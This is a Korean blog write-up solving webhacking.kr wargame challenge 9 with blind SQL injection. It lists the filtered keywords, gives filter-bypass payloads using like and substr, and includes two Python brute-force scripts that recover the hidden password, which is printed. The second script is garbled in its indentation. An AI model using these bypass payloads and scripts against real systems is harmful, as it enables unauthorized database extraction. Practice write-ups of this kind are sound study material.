power-girl0-0

[webhacking.kr-old] 9번 본문

War game/webhacking.kr

[webhacking.kr-old] 9번

power-girl0-0 2021. 6. 20. 16:43
728x90

주소 : https://webhacking.kr/old.php

 

Webhacking.kr

 

webhacking.kr


[ 풀이 ]

오오 이번 문제는 배경색이 화이트이다!!
1번을 누를 때는 Apple, 2번을 누르면 Banana, 3번을 누르면 아래와 같이 페이지가 이동한다.

음,,, 느낌이 3번이 참 수상하게 느껴진다 ㅇㅁㅇ
no = 3에 해당하는 id가 비밀번호라고 적혀있기 때문이다!!


blind sql injection 문제로 예상되어 아래와 같이 시도해보았다.
일단, 'or 1=1# 쿼리를 입력해서 실행결과를 확인해보니, 아래와 같이 권한이 없다고 출력된다.

어떤 것을 필터링하는지 보기 위해, 다양한 시도를 한 결과 필터링 조건을 알 수 있었다.
'(작은 따옴표), "(큰따옴표), %27, %20, and, or, ||, =, ord, ascii, hex등을 필터링하고 있으며,
#, &&, ( ), like,substr 등이 가능한 것을 확인할 수 있다.


위 필터링을 바탕으로, 아래와 같이 실행해보았다.
해당 if문은 1이 true를 의미하며, 참이면 no=2에 해당되는 페이지로, 거짓이면 no=3페이지로 이동하게 설정한 조건문이다.


1. id 길이 구하기

if(length(id)like(11),3,0)

위 쿼리에서 0은 아무것도 해당되지 않는 것으로, password의 입력창만 출력되는 페이지를 보여준다.
따라서, 쿼리문이 겹치지 않기 위해, false일 경우에는 no=0인 페이지로 넘어가게 설정한 것이다.

소스코드를 작성하여 확인해보았다.

import requests 
c = {"cookie":"'PHPSESSID'='자신의 세션'"} 
for i in range(0,50): 
  query = "if(length(id)like({}),3,0)".format(i) 
  print(query) 
  url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query) 
  res = requests.get(url, cookies=c) 
  if res.text.find("Secret") != -1: 
    print("id 길이 : {}".format(i)) 
    break 


위와 같이, 길이가 11인 것을 확인할 수 있다.


2. id 값 확인하기

해당 페이지에서 ord, ascii, hex함수를 필터링하고 있으므로, 아래와 같이 hex값으로 바꿔서 쿼리문에 대입하는 형식으로 코드를 작성하였다. 이는 아래와 같다.

import requests 
c = {"cookie":"'PHPSESSID'='자신의 세션'"}
stop=0 
str='' 

for i in range(1,12): 
	if stop == 1: 
		break 
	for j in range(97,133):
      h = hex(j) 
      query = "if(substr(id,{},1)like({}),3,0)".format(i,h) 
      url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query) 
      res = requests.get(url, cookies=c) 
      if res.text.find("Secret") != -1: 
        str += chr(j) print("{} : {}".format(i,str)) 
        break 
      if j == 133: 
        stop = 1 
        break 
 print("password : {}".format(str)) 

패스워드가 alsrkswhaql이라는 것을 알 수 있다.


위에서 구한 패스워드를 입력창에 입력해보자.

문제 클리어~~

 

728x90

'War game > webhacking.kr' 카테고리의 다른 글

[webhacking.kr-old] 11번  (0) 2021.06.22
[webhacking.kr-old] 10번  (0) 2021.06.21
[webhacking.kr-old] 8번  (0) 2021.06.20
[webhacking.kr-old] 7번  (0) 2021.06.20
[webhacking.kr-old] 6번  (0) 2021.06.19
Comments